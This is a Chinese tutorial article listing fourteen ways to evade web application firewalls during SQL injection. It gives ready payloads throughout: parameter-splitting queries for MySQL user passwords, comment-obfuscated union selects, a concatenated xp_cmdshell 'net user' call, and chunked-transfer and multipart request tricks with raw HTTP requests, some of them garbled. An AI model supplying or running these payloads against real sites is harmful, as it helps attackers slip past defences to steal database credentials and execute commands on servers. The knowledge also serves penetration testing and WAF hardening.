介绍:
WAF(Web应用防火墙,Web Application Firewall的简称)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。WAF可以发现和拦截各类Web层面的攻击,记录攻击日志,实时预警提醒,在Web应用本身存在缺陷的情况下保障其安全。但是,WAF不是万能的、完美的、无懈可击的,在种种原因下,它们也会有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。
云waf
硬件waf
软件waf
网站内置waf
1.双写注入绕过
2.大小写绕过
3.脏数据绕过
即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了
4.复参数绕过(&id=)
GET /pen/news.php?id=1 union select user,password from mysql.userGET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user很多WAF都可以这样绕,测试最新版WAF能绕过部分语句。
5.高并发绕过
对请求进行并发,攻击请求会被负载均衡调度到不同节点,导致某些请求绕过了waf的拦截
6.特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2特殊字符有:mysql:%0a/**/可以绕过最新版本WAF sqlerver:/**//*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5这条语句不行,看一下防护日志,是因为把uaer函数加入黑名单啦。替换user即可。
7.使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEADgroup_concat() | concat_ws()
8.HTTP参数污染
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。
9.特殊字符拼接(+)
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
10.数据格式混淆
利用数据格式解析缺陷,存在两种提交表单数据的请求类型application/x-www-form-urlencodedmultipart/form-data 支持key-Value方式当然,除了这种方式外一些其他方式也可能绕过waf,例如将传入json数据,将其修改为HTTP请求,或者修改content-type等方式(当然是在应用能够正常解析的前提下)
11.编码绕过
对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效解码,而应用后端能够正常解码,就可以绕过waf。例如最常见的url编码,对数据进行二次url编码,waf进行一次解码并不能解析到有效的数据,而后端在进行解码时传入的为有效的恶意数据。将id=1 and 1=1 写为 id=1/*!and*/1=1
12.利用WAF本身的功能绕过
例:uni*on+sel*ect+1,2,3,4....假如发现WAF会把"*"替换为空,那么就可以利用这一特性来进行绕过http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....其它方法-15+(union)+(select)….-15+(union+select)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
13.利用http协议绕过waf
先在数据包中添加Transfer-Encoding: chunked数字代表下一列字符所占位数,最后需要用0独占一行表示结束,结尾需要两个回车在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。Upgrade-Insecure-Requests: Iontent-Type: application/x-www-form-urlencodedhttp协议是由tcp协议封装而来,当浏览器发起一个http请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即用burpsuite截获的数据),其中包含了一个Connection字段,一般值为close,apache等容器根据这个字段决定是保持该tcp连接或是断开。当发送的内容太大,超过一个http包容量,需要分多次发送时,值会变成keep-alive,即本次发起的http请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。l先关闭burpsuite长度更新,为get请求,先使用bp的method转换为POST请求lget请求中空格使用%20代替,Connection改为keep-alive点击burp中Repeater,在下拉选项中取消update Content-Length选中。POST /sqlinject.php Http/1.0User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8Accept-Language: en-US,en:q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1id=1post/sqlinjeCt.php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8Accept-Language: en-US, en, q=0.5Referer:http://127.0.0.1/sqlinjectphp?id=1Content-Type: application/x-www-form-urlencodedpgrade-Insecure-Requests: 1然后你会收到两个返回包,不过这种方法有可能被waf给拦截HTTP头里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三种,其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当waf没有规则匹配该协议传输的数据时可被绕过。将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行。由于是正常数据提交,数据是能被apache容器正确解析的,尝试1 and 1=1也会被某狗waf拦截,但如果其他waf没有规则拦截这种方式提交的数据包,那么同样能绕过。POST /sQlinJect php Http/1.0User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8Accept-Language: en-US, en: q=0.5Referer:http://127.0.0.1/sqlinject.php?idContent-Type: multipart/form-data; boundary=69Upgrade-Insecure-Requests:1Content-Disposition: form-data; name="id"
14.请求方式转换
过滤了get但是没有过滤post、cookie。waf默认是关闭的waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测或者修改为其它允许的方式,例如options, head等提交方式。
该文章在 2023/10/30 10:59:24 编辑过